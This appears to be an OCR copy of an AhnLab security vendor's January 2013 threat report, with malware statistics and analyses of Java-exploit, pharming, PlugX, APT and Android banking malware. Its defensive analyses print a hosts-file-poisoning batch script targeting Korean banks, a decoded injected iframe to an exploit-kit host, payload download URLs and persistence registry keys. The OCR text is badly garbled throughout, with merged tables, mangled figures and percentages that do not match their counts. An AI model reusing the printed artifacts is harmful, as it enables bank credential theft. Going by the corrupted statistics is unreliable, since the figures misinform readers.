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Malicious Code Trend

Malicious Code Statistics

The number of
malicious codes
reported in January
decreased by 38,000
from the previous
month

Statistics collected by the ASEC
show that 9,602,029 malicious
codes were reported in January
2013. The number of reports
decreased by 336,125 from the
9,938,154 reported in the previous
month. (See [Figure 1-1].) The most
frequently reported malicious code
was ASD.PREVENTION, followed by
Malware/Win32.suspicious and JS/
Agent. A total of 8 malicious codes
were added among the “Top 20" list.
(See [Table 1-11)
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[Figure 1-1] Monthly Malicious Code Reports

Ranking PN Malicious Code Reports  Percentage
1 - ASD.PREVENTION 726,032 21.6%
2 - Malware/Win32.suspicious 386,249 1.3%
3 Ab JS/Agent 266,533 7.8%
4 — Textimage/Autorun 224,876 6.6%
5 A2 Trojan/Win32.adh 220,423 6.5%
6 v1 Trojan/Win32.Gen 196,609 5.8 %
7 A3 Trojan/Win32.agent 169,686 5.0%
8 v5 Trojan/Win32.onlinegames 164,451 4.8 %
9 A3 Trojan/Win32.onlinegamehack 154,451 4.5 %
10 NEW Win-Trojan/Onlinegamehack.205350 121,154 3.6%
11 NEW Win-Trojan/Onlinegamehack.208896.W 103,594 3.0%
12 A2 Adware/Win32.korad 97,687 2.9%
13 A2 RIPPER 87,306 2.6%
14 NEW Win-Trojan/Agent.204208 86,584 2.5%
15 NEW Win-Trojan/Rootkit.83909376 79,587 2.3%
16 NEW Win-Trojan/Agent.204692 70,640 21%
17 NEW Html/Shellcode 68,148 2.0%
18 NEW Win-Trojan/Patcher.155648 65,155 1.9 %
19 NEW Trojan/Win32.sasfis 58,679 1.7 %

20 v7 Malware/Win32.generic 57,810 1.7 %
TOTAL 3,405,654 100.0 %

[Table 1-1] Top 20 Malicious Code Reports (Based on Infection Report and Malicious Code name) for January 2013
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TOp 20 Distributed Ranking ™ Malicious Code Reports  Percentage
Malicious Codes 1 — Trojan/Win32 1,429,566 21.3%
2 A2 Win-Trojan/Agent 850,329 12.6 %
[Table 1-2] shows the percentage 3 A2 Win-Trojan/Onlinegamehack 766,762 1.4%
breakdown of the Top 20 malicious 4 v2 ASD 726,032 10.8 %
code variants reported this month. 5 v2 Malware/Win32 455,694 6.8%
For January 2013, Trojan/Win32 6 Ab Win-Trojan/Urelas 304,573 4.5 %
7 A8 JS/Agent 267,101 4.0 %
(1,429,566 reports) was the most -
8 v2 Adware/Win32 235,382 3.5%
frequently reported malicious code 9 — Textimage/Autorun 224,902 3.3%
among the Top 20 malicious code 10 v3 Win-Trojan/Downloader 224,504 33%
variants. It was followed by Win- 1 v1 Win-Trojan/Korad 198,154 2.9%
Trojan/Agent (850,329 reports] 12 A7 Win-Trojan/Avkiller 152,098 2.3%
13 v2 Win-Adware/Korad 143,427 2.1%
and Win-Trojan/Onlinegamehack o e Wina2/Virat 129,856 e
(766,762 reports). 15 v7 Downloader/Win32 126,430 1.9%
16 A2 Win32/Conficker 118,740 1.8 %
17 NEW Win-Trojan/Rootkit 105,143 1.6 %
18 v2 Win-Dropper/Korad 91,542 1.4 %
19 A1l Win32/Kido 89,767 1.3 %
20 NEW RIPPER 87,306 1.3%
TOTAL 6,727,308 100.0 %

[Table 1-2] Top 20 Distributed Malicious Codes

= anking alicious Code eports ercentage

‘ in rojan Ranki N Malici Cod R t P t

Onlinegamehack.205350’ 1 Win-Trojan/Onlinegamehack.205350 121,154 14.9 %

= 2 Win-Trojan/Onlinegamehack.208896.W 103,594 12.9 %
The most frequently i g -

3 Win-Trojan/Rootkit.83909376 79,587 9.8 %
reported new J °
l_ . d . 4 Win-Trojan/Patcher.155648 65,155 8.0 %
malicious code in 5 Win-Trojan/Avkiller.23488 44,025 5.4 %
Janual"y 6 Dropper/Onlinegamehack.132391 35,956 b4.b %

7 Win-Trojan/Avkiller.83912064 35,183 4.3 %
[Table 1-3] shows the percentage - :

8 Win-Trojan/Agent.656600 35,146 4.3 %
breakdown of the Top 20 new 9 Win-Trojan/Onlinegamehack. 135505 31,756 3.9 %
malicious codes reported 10 JS/Donxref 31,560 3.9%
in this month. Win-Trojan/ 1 Win-Trojan/Onlinegamehack.105984.0 29,910 3.7%

Aoy, 0,
Onlinegamehack.205350 was the 12 Win-Adware/KorAd.657472 29,263 3.6 %

13 Win-Trojan/Agent.204768 26,210 3.2%
most frequently reported new . .

14 Win-Trojan/Downloader.208475 23,649 2.9%
malicious code, representing 15 Win-Trojan/Agent.65024.JS 22,624 2.8%
14.9% (121,154 reports) of the Top 16 Win-Trojan/Onlinegamehack.79138304 22,091 2.7%

Ref 17 Win-Trojan/Korad.100352 21,941 2.7%

20 new malicious codes, followed ) ’
. . 18 Win-Trojan/Modifiedupx.130853 19,700 2.4%
by Trojan/Onlinegamehack.208896. jan/ s ’

19 Win-Trojan/Urelas.513536 17,250 2.1 %

0,
W that represents 12.9% (103,594 20 Win-Trojan/Agent.400384.BI 16,889 2.1 %
reports) of the Top 20 new mal- TOTAL 812,643 100.0 %

icious codes.

[Table 1-3] Top 20 New Malicious Code Reports
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"Trojan Horse Ranked
as the Most Reported”

Malicious Code in TROJAN

53.2%

[Figure 1-2] categorizes the top

malicious code types reported

by AhnLab customers in January SCRIPT
2013. Trojan is the most reported 7 40/0
malicious code type, representing WORM

53.2% of the top reported malicious
code types, followed by script (7.4%) 25.2% Etc

4.7%

3.2% DRoPPER

and worm (4.7%). 0.1% appcare
0.6% sprwae 2.6% virus
1.0% powNLoADER ' 2.0% apware

[Figure 1-2] Primary Malicious Code Type Breakdown

Comparison of
1 _ 2012.12 2013.01

Malicious Codes with
Previous Month 2.5% ADWARE 2.0%
[Figure 1-3] below shows the 0.8% | LR 1.0%
malicious code breakdown
compared to the previous month. 3.5% DROPPER 3.2%
Compared to last month, the 31.6% - ETC 25 29,
number of Trojan horses, scripts,
viruses, and downloaders 4.0% SCRIPT 7.6%
increased, whereas dropper, 1.5% SPYWARE 0.6%
adware, and spyware decreased.
The numbers of worms and 48.9% - DR 93.2%
appcare are similar to those of the 2.5% VIRUS 2.6%
previous month.

4.7% 4.7%

[Figure 1-3] Primary Malicious Code Type Breakdown for January vs. February
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B kd f N scng -
re.a . owno ew DOWNLDADS{/D 1% TROJAN
Malicious Code Types 0 8 5 0/
0

ADWARE

3%
DROPPER

5%

Trojan Horse was the most
frequently reported new
malicious code type in January,
representing 85% of the top
reported new malicious code

TROJAN

types, followed by Dropper (5%) 70%
and Adware (3%).

[Figure 1-4] Breakdown of New Malicious Code Types



New Java Zero-day vulnerability is being exploited
in Korea

The newly discovered Java Zero-day vulnerability (CVE-2013-0422)
is being exploited rapidly throughout the world via automated
attack toolkits such as Blackhole Exploit Kit, Cool Exploit Kit,
and Nuclear Exploit Kit. On January 10, 2013 in Korea, the new
malware was distributed through scam e-mails with malicious
links that lure users into clicking them or higher search rankings

in the search engine sites using SEO poisoning methods.

] ((p{a ["subsy](,5-1).27)

META-INF

ewjvaiwebvhtuail24a.class AhnLab
hw.class

test.class

mal jar

When the malicious script with Java vulnerability exploit is

executed, user systems can be infected.

Apart from the above cases, there were other reports about
malware that spread malicious codes through Korea Webhard
homepages. Vulnerable systems can be easily infected just by

accessing a malicious webpage. You should pay extra caution not
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to execute any malicious applets.

- AhnLab

The malicious codes are distributed via the Gongda Exploit Kit.
Based on the analysis results of the malicious codes, this malware
is confirmed to be one of the Banki types which change the hosts
file.

Let's examine how the malware works.

[W1.¥**$*%* net/cctv.exe]

1. The following files are created when the malware is executed by
exploiting the Java vulnerability.

- C:\WINDOWS\temp\cct.exe

- C:\WINDOWS\temp\host.exe

2. The created files register themselves in the system registry to

automatically run at system boot.

- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run\360Z &=
"C:WINDOWS\SHELLNEW\sever.exe"

(At the time of our analysis, the sever.exe file was not created.)

- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Default)
"C:\WINDOWS\temp\cct.exe"



3. Upon execution, the created cct.exe file attempts to connect to

the following server.
- 127 %k xkx 204:14465

The strings inside of the file are used to steal DialParamsUID,
PhoneNumber, Device, and other information from the following

files.

\VAPPlication DATa\Microsoft\Network)

ConnecCt IOns\ pbk\ raSPHONE. pbk

mICROSOFT\ nETWORK\ cONNECt IONS\ PBK\ RASPHONE . PBK
GetPrivateProfileSectionNamesi
KERNEL32.dl1l

DialParanmsUID

PhoneNumber

Device

AhnLab

4. The host.exe file modifies the hosts file in the compromised

system.
7 . SU.Z9.09. 10 XL.acmercon
18
19 127.0.0.1 localhost
20 67.221.22.115 KBSTAR.cOM
21 67.220.%2.115 UUU.KBSTAR.coN
67 m=m=+53.115 OBANK.KBSTAR.coM
23 67.22%.2:.115 BANKING.NONGHYUP.coHN
24 67.2 $£:.115 VOORIBANK.coHN
..

B 67 .=t .

L1158 uuu.uoonmmx.c‘nhnLab
[Figure 1-9] Modified hosts file

As of January, its attempts to connect to the malicious site failed.

The malware, however, might try to connect to the malicious
phishing sites via the modified hosts file to steal user financial

information.

To minimize persistent security threats, it is advised to install
Windows security updates and major application updates (Java,

Adobe Flash Player, and others).

Oracle released security updates that can successfully address
Java vulnerabilities. Please install these security updates to

prevent malware infection.

V3 detects this malware in the following forms.
JAVA/Cve-2013-0422 (2013.01.11.05)
Trojan/JAVA.Agent (2013.01.11.05)

JS/Agent (2013.01.11.05)
Win-Trojan/Hosts.51200 (2013.01.15.00)
Win-Trojan/Farfli.142260 (2013.01.15.00)
Spyware/Win32.Agent (2013.01.15.00)
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APT attacks allegedly from one of Korea defense
contractors

Recently, phishing spam e-mails with malicious PDF attachments
have been circulated, claiming to be from one of Korea defense

contractors. The attachment is disguised as a collaboration paper.

This malicious PDF file adopts attack methods similar to the
one posted on the ASEC blog, “"Malware distribution via e-mails
by exploiting Adobe CVE-2009-0927 vulnerability”. The cyber
attackers perform constant APT attacks through the fake defense
collaboration paper. Government agencies and defense contractors
are taking these APT attacks seriously because confidential
internal information can be disclosed to attackers. Caution needs

to be taken to minimize security threats and damages.

When you execute the file, the following files and registry keys
are created to register the webios.dll file as a 6to4 Manager in the

system service to automatically run at system boot.

[File creation]

- C:\Documents and Settings\[User account name]\Local Settings\
Temp\AdobeARM.dlL

- C:\WINDOWS\system32\webios.dll

- C:\WINDOWS\system32\wdiguest.dll

[Registry registration]
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\6to4\Parameters\ServiceDll “C:\WINDOWS\system32\

webios.dll"

The webios.dl file and the wdiguest.dLl file are identical. When the
webios.dll file is loaded to the svchost.exe process, it attempts to

connect to the C&C server located in the U.S.

- "hxxp:/fyy** . **.nu (173.2%* *** 202, US]"

Protocol_Length Info

No. Time Source Oestination
14633 131,102596 192 131,30, 129 173. FTl 202  ce 62 veracity > http [SYN] Seqe0 Wine=64240 Len=0 MSS=1460 SACK.

62 jstel > Htp [SYN] Seqe0 Wine64240 Len=0 MSS=1460 SACK_PE

62 jstel > HEEp [SYN] 5eq=0 Win=64240 Lan=0 MS55=1460 SACK_PE

When the communication attempt with the C&C server succeeds,
it performs various functions like remote control and keylogging to

steal key strokes at the command of the attackers.

V3 detects this malware in the following forms.
PDF/Exploit



Trojan/Win32.Dllbot
Win-Trojan/Dllbot.8704.E

PlugX Trojan Horse targeting specific companies

Most security incidents reported through press releases use
malicious codes to steal confidential documents and customer DB

from designated companies or agencies.

Trojan/Win32.PlugX (*PlugX"] is a malicious code that distributes
spam e-mails with malicious attachments or modifies the update
server information to steal confidential information from the

designated targets.

The newly discovered PlugX seemed to be distributed as an e-mail
attachment to attack specific targets. It also uses a DOC icon to

trick users into clicking it. (See [Figure 1-111.)

File.exe

[Figure 1-11] PlugX disguised as a DOC icon

Despite the use of the DOC icon, it actually is an executable file

(SFX). When it is decompressed, both a 1.exe file and 1.doc file
exist inside of the file. When users execute the malicious DOC file,

it displays an empty 1.doc to avoid detection.

The malicious 1.exe file is executed in the background to create

three files in a specific folder.

(1) %USERPROFILE%\TEMP\hhx\hhc.exe

hhc.exe Properties

General | Version | Compatibiliy | Summary|

File version: EREXER{UPNI

Description:  Microsoft® HTML Help Compiler

Copyright: Copyright © Microsoft Corp.

Other version information

Item name: Walue:

File Version
Internal Name
Language
QOriginal File name
Product Name
Product Yersion

Microsoft Corporation

Ahnlab
[Figure 1-12] Normal Microsoft HTML Help Compiler
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¢ The file is executed as a service to load the hha.dl file.

- Service name: Credential Manager Command Line Utility

(2) %USERPROFILE%\TEMP\hhx\hha.dll

¢ Encrypt the hha.dll.bak file after reading a certain amount of
bytes.

* Insert malicious functions (e.g. keylogging or connection to the

specific sites) in the encrypted codes.

(3) %USERPROFILE%\TEMP\hhx\hha.dlL.bak
¢ A malicious file is created upon execution of the 1.exe file

¢ The codes are encrypted to run the hha.dl file.

The hha.dll file codes encrypted by the bakhha.dll file have APIs
to perform keylogging to steal key strokes from the compromised

PCs and save them in the NvSmart.hlp file.

- 00022B2C 00022B2C
- 00022B82 00022B82
- 00022B98 00022B98
- 00022C22 00022C22
- 00022C36 00022C36

0 SetWindowsHookExW
0 UnhookWindowsHookEx
0 CallNextHookEx

0 GetAsyncKeyState

0 GetKeyState

(4) Keylogging file location: %All Users%\cmdkey\NvSmart.hlp

I NvSmart.hlp - Notepad

File Edit Format Yiew Help

2013-01-15 14:11:47 | C:\WINDOWS\Explorer.EXE | Run
notepad

2013-01-15 14:11:48 | C:\WINDOWS\Explorer.EXE | Program Manager

2013-01-15 14:13:00 | C:\WINDOWS\system32\notepad.exe | untitled - nNotepad
www. Fuckyou. com, gotohell.com

Are you the most

catch me if you can.

vou will never catch me in the world

Do not make a malware.

2013-01-15 14:31:32 | C:\WINDOWS\system32\notepad.exe | untitled - notepad

south Koreas Best of the Best Tackle cyber crime

Picture the scene: Picture the scene: dozens of computer
poring over their keyhboards in a room filled with power
feverishly typing in code most of us could nver computer
Their mission?

2013-01-15 20:44:17 | C:\WINDOWS\Explorer.EXE | Program Manager

AhnlLab

[Figure 1-13] Contents saved in NvSmart.hlp

The compromised PCs try to connect to the C&C server located in

Hong Kong as shown in [Figure 1-14].

Destination

Protocol Length Source GeolP Country _ Destination GeolP Country _Info
HTT HTTP/1.1 200 0K
POST /update?id=000fa230 HTTP/1.1
http > mc-gt-srv [ACK] seq=207 Ack:
HTTP/1.1 200 OK

[TcP segment of a reassembled PDU]
http > mc-gt-srv [AK] seq=413 Ack:
POST /update?id=000fa230 HTTP/1.1
http > mc-gt-srv [AcK] seq=413 Ack:
HTTP/1.1 200 OK

POST /update?id=000fa230 HTTP/1.1

5 5 5.128 Tcp 54 Hong Kong http > mc-gt-srv [ACK.
hua. din.net 102.168.85.128 Tcp 261 Hong Kong [TcP segment of a rea: AhnLab

[Figure 1-14] Communicating with the C&C server in Hong Kong

V3 detects this malware in the following forms.
Dropper/Win32.Backdoor (AhnLab, 2013.01.15.03)

339 Hong Kong
TP 54 Hong Kong
192.168.85.128 HTTP 260 Hong Kong
hua.| in.n 340 Hong Kong
192.168.85.128 54 Hong Kong

5 _n 9 Hong Kong
192.168.85.128

192.168.85.128
hua.1 .

54 Hong Kong
260 Hong Kong
9 Hong Kong



Outbreak of phishing and pharming attacks leads
to authentication certificate disclosure

Internet phishing and pharming scams are rampant, causing
serious security threats. As these scams are using social
engineering manipulation methods as well as techniques to
exploit fraudulently obtained personal information, users need to
exercise special caution. Recently indiscriminate phishing attacks

through the mobile SMS have been on the increase.

Pharming attacks as well as phishing attacks are on the rise. This
new type of phishing malware modifies the hosts file to redirect
users to bogus websites, even when they enter the correct bank
site address into a browser’s address bar. This malware can
perform pharming attacks and steal authentication certificates

from compromised PCs.

|~ hosts I
126.11

.229.90 banking.nonghyup.com

www.wooribank.com
pib.wooribank.c
spd.wooriban

.wooriba:

open.hanabank.com
0 obank.kbstar.com
0 www.kbstar.com

0 kbstar.com

www.ibk.co.
mybank.ibk.co.kr
kiup.ibk.co.kr
0 open.ibk.co.kr
0 www.keb.co.kr
0 bank.keb.co.kr

0 fx.keb.co.kr

The cyber attackers display a security card screen to steal

security card numbers and user account information.

Legitimate credit card companies and banks never request user
to enter all the security card numbers. Since the forged websites
look almost identical to the real ones and the URLs seem
legitimate, users are likely to be tricked. Extra caution is required
for any website asking for all security card numbers as there is

high possibility of phishing and pharming scams.

To prevent phishing and pharming attacks and protect
authentication certificates, please follow these internet banking

safety tips.

1. Do not scan authentication certificates, security cards, and

passwords as image files or Excel files to save them in your e-mail
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accounts or Webhard (or other online storage) sites.

N

. Keep your authentication certificates in removable devices
like USBs or external disks, and only use them for internet banking.
3. Use OTP (One Time Password) or MOTP (Mobile One Time Password)
devices instead of security cards.
4. Change the passwords of your internet banking accounts or portal site

e-mail accounts regularly.

ol

. Use a different account ID and different passwords for internet
banking than the ones you use for other portal mails. Do not share
them with anybody.

6. Do not use internet banking on publicly accessed computers. Try not

to log in on any websites.

~

. Install MS Window security patches and update antivirus programs to
the latest version.
8. Turn on the real-time monitoring and scan functions of updated
antivirus programs, and regularly perform manual intensive scans.
9. Use a mobile SMS service that notifies you about account transactions,

authentication certificate reissuance, and usage statements.

Mobile malware stealing internet banking
information from Windows and Android

In Korea, there have been continuous reports about stealthy
internet banking malware that steals personal account information.
Unfortunately, it is difficult to detect such malware variants since their

activities are subtle and undisruptive.

In the past, malicious codes for data exfiltration targeting Korean users
had been distributed during weekends, but attackers are recently

distributing malware variants during weekdays too.

The internet banking malware variants have continuously infiltrated
Android and Windows-based smartphone apps. Since these malicious
apps are registered in the legitimate Google Play Store, the impact and

damage might be high.

The infiltration flow that exploits the vulnerability of malicious scripts
inserted into infected websites will not be explained at this section
because it was already introduced in the previous reports. The following

file is downloaded and executed on the compromised PCs.
- hxxp://121.%** ** 229:280/goutou.exe

Upon execution, it modifies the system hosts file at the command of the

attacker.

When users visit legitimate bank websites for internet banking, the



compromised PCs redirect users to the fraudulent phishing sites.

P 1batx - H2H
ORE BIE HY4Q 2AW SSTH
@echo off

attrib -r -a -s -h windirMsystend2udriversketcithosts

echo 67.%%% “a.61 CITIBANK.Co.KR>>c:/windows/systen32/drivers/etc/hosts
echo 67.20% . 14.61 W .CITIBANK.Co.KR>>c:/windows/system32/drivers/etc/hosts
echo 67.77%.94.61 HANABANK .CoM>>c:/windows/systend2/drivers/etc/hosts

echo 67.2%% “a.61 W L.HANABANK.CoM>>c:/windows/systend2/drivers/etc/hosts
echo 67.20% . 14.61 WWW.IBK.Co.KR>>c:/windows/systend2/drivers/etc/hosts
echo 67.37%.94.61 MYBANK.IBK.Co.KR>>c:/windows/systen32/drivers/etc/hosts
echo 67.27% “a.61 KIUP.IBK.Co.KR>>c:/windops/systen32/drivers/etc/hosts
echo 67.27%.14.61 KBSTAR.CoM>>c:/windows/systend2/drivers/etc/hosts

echo 67.37%.94.61 CoM>>c:/windows/$Ustend2/drivers/
echo 67.72%% “a.61 0BANK. er!
echo 67.20% . 14.6 D
echo 67.37%.0%.6
echo 67.2%% %a.6
echo 67.20%. 0. o
echo 67.37%.04.6 H /etc
echo 67.27% .61 W uoucuvur CoM>>c: /vdndon/syste-ﬂZldriuers/ctv:/nosts

echo 67.20%.14.61 BANKING.NoNGHYUP .CoM>>c:/windows/systen3d2/drivers/etc/hosts

echo 67.27%.94.61 SHINHAN.CoM>>c:/windows/systen32/drivers/etc/hosts

echo 67.27% “a.61 WW.SHINHAN.CoM>>c:/windows/systen32/drivers/etc/hosts

echo 67.20% . 0%.61 BANKING.SHINHAN.CoM>>c:/windows/systend2/drivers/etc/hosts

echo 67.37%.0%.61 WWW.SUHYUP-BANK.CoM>>c:/windows/systen32/drivers/etc/hosts

echo 67.77% “a.61 W .STANDARDchartered.Co.kr>>c:/windows/systend2/drivers/etc/host
echo 67.27% .0%.61 WooRIBANK.CoM>>c:/windows/systend2/drivers/etc/hosts

echo 67.77%.0%.61 W .MooRIBANK.CoM>>c:/windows/systen32/drivers/etc/hosts

echo 67.27% “».61 PIB.MoORIANK.CoM>>c:/windows/systen32/drivers/etc/hosts

echo 67.20%.1%.61 SPD.MoORIBANK.CoM>>c:/windows/systen32/drivers/etc/hosts

< >

[Figure 1-16] Hosts file modification

It is difficult for users to distinguish illegal websites from legitimate

ones.

Authentication processes that phishing websites request are: as follows.

1. Based on the phishing website source codes, it is assumed that
the name_info1, 2, 3, user names and resident registration numbers

are transferred as parameter values to the specific server.

2. After collecting user names and resident registration numbers,
it moves to the webpage that can provide security card numbers and

passwords.

3. As shown in [Figure 1-17], the typed information is transferred to

the specific server.

RECEIVE DA.. 122.0.0.... 122.0.0.1:10686 SUCCESS Flags CDPV LOOKME‘
S 192, 168..., 67,2 ', 61:80 SUCCESS th

< . : >
* GET /btn2_1.jpg HITP/1.1
Accept: w/w

Referer: http://wooribank.con/fro _inf02=7777778nane_inf 037777777
Accept-Language: ko

UA-CPU: xB6

fccept-Encoding: gzip, deflate
User—Agent: Mozilla/4.8 Ccompatible;
Host: wooribank.con

Connection: Keep-Alive

Cookie: §S0_] ¥

[Figure 1-17] User input transmission process

This type of Windows-based malicious code has also been discovered

in smartphones. The stealth malicious applications registered in the
Google Play store are capable of internet banking identity theft and bank

fraud.

These apps were specifically developed to target 5 major banks, and
new variants emerge every day. The variants were registered and
distributed as "LEAD TEAM" on January 15, "ZHANG MENG", and
“"waleriakowalczyk” on January 16 and "Kyle Desjardins” on January 17

in the Google Play store.
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l mnﬁed'«lw v! (meth@ S L w
a const-string v . Islm\q@”t'{i ABOTP @ =710 m1]

ontext;) V <int>]

@ invoke-virtual vo , meth@ 8 (Ljavatang/Ch L 5
14 const-string v1 . lslqu@ 94 wul

18 invoke-virtual v0 , v1 . [meth@ 10 L oo [0 gicharsequence:) Lang setTtle]
10 const-string v1 , [string@ 95 &21) | |

22 new-instance v2 , [type@ 18 L(an)kbll P

26 mvoke-direct v2 . v3 . [meth@ 20 Lcomkbl 1/caiVvetpoACt
2¢ invoke-virtual v0 , v1 , v2 ., [meth@ 9 Landroidiapp:

32 const/a v1 . [#+ 0] . (0) \ : - - !
34 invoke-virtual vO , v1 . [meth@ 7 L nd

3a move-resuk-abjoct v

3¢ V1, [meth@ 6 L create]
42 move-result-object v1

44 nvokevirtual vl , [meth@ 11 Landroid/app/AlertDialog; () V show)
A return-vod

[Figure 1-18] Malicious codes diverted to the phishing website

0 const-string v2 , [string@ 67 hnp //kbstar.com-1-2-; 3-4 5-6-7-8-9- o com]
4 invoke-static v2 , lmeth@ 131L Jri; (L g g d,

a move-result-object vl gmn,

¢ new-instance v0 , [ty andrﬂu:mtenmmenn] - s

10 const-string v2 , [string@ 58 android.intent. action. VIEW | &

14 invoke-direct v0 , ¥2,, v1', [meth@ 12 L.ldlﬂlcml'.lmnﬁenl (L;avg[l.m]ﬁlroy, Lan&md/net/un ) V <init>]
1a iget-object v2 , v3 lM.) Lcom/kb 11fenWebAppActivitys1: Lcom/kbljcn WebAppActivity: thisso]

1e invoke-virtual v2 4 vo (meth@ 28 Lcom/kb11/cn, PActivity: (Landroid/content/ntent;) V startActivity)
24 iget-object v2 , v3', [field@'7'Lcom/kb11/cn/WebAppActivity$1; Lcom/kbl/cn/WebAppActivity; this$0]

28 invoke-virtual v2 , !meth@ 24 Lcom/kb11/cn/WebAppActivity: () V finish]

2e return-void

fickListoner:)

i catholilc nmemgpxallyh <inks)

Jri; parsel

[Figure 1-19] Malicious website codes stealing internet banking information

To minimize Windows-based malicious code infection, please install
security patches and do not use suspicious file sharing sites (e.g. P2P

and torrent).

Always be careful when installing Android-based banking applications.
Make sure to check registrators and developers of applications that you

want to install.

V3 detects this malware in the following forms.
Trojan/Win32.Banki
Android-Trojan/Yaps

Malicious code attacks through YES24 (www.
yes24.com) homepage

On January 5, 2013, malware was distributed via YES24 (www.
yes24.com) website, an online bookstore in Korea. The iframe tag
which is distributed by Gongda Exploit Kit is inserted into the Java
script file of this website. Users need to pay extra caution since

popular websites have repeatedly distributed malicious codes.

The Java script file (wlo.js) with malicious script appears as below.

- [E=EeT—>)|

ewww.yes24.com wiE ‘

L YES24 - IR GE

L) (< 5 |
htte://eve ves2d con//lavascript/ulo is

10, 18" ></script>

-n.sid = "0B070R000457;
-n.uid.cookie = “Mallinmall I
-n_infol _cookie = “PID":
n-logging():

“;;;g TRACKING SCRIPT COOE END =-> AhnLab

« [m)

[Figure 1-20] Java script file with malicious script

Encoded malicious codes are found at the bottom of the wlo.js

script. (See [Figure 1-21].)



2
DO BRE NHQ 2N S8R
)

)iexpires.setTine(expires.getTine()
ires. toGHISEr in t .
7137

[Figure 1-21] iframe tag inserted into the wlo.js script

When the script is decoded, you can see the address as shown in

[Figure 1-22].

<iframesrc="http://jquery-***-googlecode.com/api/api.php’ width="50" height

='1' frameborder='0"> < /iframe>

[Figure 1-22] URL in the decoded script

At the time of ASEC analysis, the connection failed and the address

could not be verified. According to the connection log, we assume
that the malicious codes are distributed through the Gongda

Exploit Kit upon connection to the above webpage.

The decompiled AkVnQn8.jpg file appears as below.

e

20 getEagioedyt:

AhnlLab
[Figure 1-23] AkVnQn8.jpg file information

The malicious code downloads and executes the x2.exe file from

“www.short***.com”. The x2.exe file is an online game hacking
malware that incapacitates antivirus programs like V3 and steals

game account information.

il

| Process TPD__ ] Operaten [P

*2exe Xg CREATE WOOCUME ~ IWADMINI~ IWLOCALS~ I W TecroWiDea lic tro

C

¢ and Sating ey 2 0x0
DELETE C and i Ei ok Ample g2 exe
CREATE CArMNDOWSWusp10. 8l é
gg&;g EWOCUME~IWMMN*IWLOC‘LS~I'T"O

WOOCUME ~ IWADMIN~ IWLOCALS~ I W TeergWiDes 16¢. ¥ro

[Figure 1-24] File creation information

101010R1010 §
DRt ebetatet Bl
rdntntutnted
SEHRES

ARRA

omd exe
cmd exe(inep goin... 32
00ea 16, mp 18

omd exs
cmd exe(ieep goin.,, 9

V3 detects this malware in the following forms.
Dropper/Onlinegamehack22.Gen (V3, 2013.01.07.05)
Trojan/Win32.0nlineGameHack (V3, 2013.01.07.05)
Win-Trojan/Onlinegamehack.105984.0 (V3, 2013.01.07.05)
Win-Trojan/Onlinegamehack.52736.ZI (V3, 2013.01.06.00)
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Malicious code distribution via https

The cyber attackers have changed malicious code and script
distribution methods. Malicious codes are distributed through
various websites. The newly discovered malware is distributed via

an actual fishing site.

The malicious script inserted to distribute malicious codes is

shown in [Figure 1-25].

Ahnlab

] 221

This malicious script attempts to connect to the keyword toolbar
website. It is interesting that the hackers use https instead of http
to distribute malicious script. Hypertext Transfer Protocol Secure
(HTTPS) provides encryption of communications, which protects
against tampering or extracting script files. Of course, the script
files can be manually extracted using special tools. We assume
that the cyber hackers use the HTTPS communication protocol to

arouse as little suspicion as possible.

Finally, the file is dropped and executed. According to the file
properties and icon shape, the malicious file is disguised as V3 and

AlYak.

V3 detects this malware in the following forms.
Trojan/Win32.Jorik (2013.01.07.05)

Curiosity kills computer systems - Downloaded
file with deadly malicious codes

Trojan/Win32.Urelas dropper that has caused huge damage

contains contents collected from materials in specific folders.

We assume that the file was downloaded along with the desired
files via a download program from a file sharing website. The
malicious file has a JPG image icon, but it is actually an executable
Windows file. It is also disguised as an MS file. Upon execution, the

malicious file creates the following files.

C:\DOCUME~1\ ADMINI~1\LOCALS~1\ Tenp\ AyUpBB. tmp
C:\DOCUME~1\ ADMINI~1\LOCALS~1\ Tenp ninsep . bat
C:\WINDOUWS\system32\golfset.ini khn“ta
C:\DOCUME~1\ ADMINI~1\LOCALS~1\Temp\NateCS.exe
C:\DOCUME~1\ ADMINI~1\LOCALS~1\ Temp\_uninsep.bat

[Figure 1-26] Files created by malicious codes




When the AyUp%X.tmp is executed and connected to the following

server, it additionally downloads the Nate%X.exe file.
- 218.¥** ¥*x 146:80

The downloaded malicious file registers itself in the system

registry to automatically run at system boot.

HKCU\Software) Nicrosoft\Windows NT\CurrentVersion\WVindows\Run
"C:\DOCUME~1\ ADMINI~1\LOCALS~1\ Temp\NateCS.exe" hnLab

[Figure 1-27] Registry value of malicious code for registration

When the system is restarted, the registered Nate%X.exe file also
downloads and executes additional malicious files.

- 103.4%* *** 164:11140

Some of the additionally downloaded malicious files contain the
following contents. The malicious file monitors online game
related processes and contains functions to steal user information.
- Highlow?2.exe, LASPOKER.exe, poker7.exe, Baduki.exe, HOOLA3.

exe, DuelPoker.exe, FRN.exe

The malicious code with boot virus functions is created to infect the

MBR (Master Boot Record) sector.

00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF
EB 01 90 68 00 08 07 68 CO 07 1F B9 00 02 BE 00 &..h...hk..*..X.

ottset (h)
000000000

000000010 00 90 S0 BF 00 00 90 06 90 68 30 00 FC F3 A4 CB  ...l..... hO. 46=E
000000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .eueeevevenansns
000000030 FA 8C C8 S8E D8 8E CO 90 90 B8 01 02 68 00 30 07 GEEZOZA..,..h.O0.

000000040
000000050

33 DB S0 90 BS 00 B1 1F BA 80 00 S0 90 CD 13 72 30..n.t.°€...f.r
74 26 FF 37 8F 06 28 00 90 90 26 FF 77 02 8F 06 t&y7..(...&yw...

000000060 2A 00 90 A1 28 00 83 F8 00 76 3C 90 48 C7 06 20 *..;(.fo.v<.HQ
000000070 00 10 00 €7 06 22 00 40 00 C7 06 24 00 00 00 €7 C.".0.¢.% <
000000080 06 26 00 00 80 90 90 C7 06 2C 00 00 00 C7 06 2E £..€..G., 00 G

.’B*€..6 .l.r%
h.€3..Enk..30.,
w93 cefr, h

Red.B%.% .
000000000

0000000EQ %ﬂ%ﬁs
[Figure 1-28] Infected MBR information

If the MBR sector is infected, then it can be detected and removed

000000090
0000000A0
000000080
0000000C0

00 00 OO B4 42 B2 80 90 8D 36 20 00 CD 13 72 25
68 00 80 6A 00 S0 CB 68 CO 07 07 33 DB S0 B8 01
02 BS 00 90 B6 00 B1 29 B2 80 CD 13 72 07 90 68
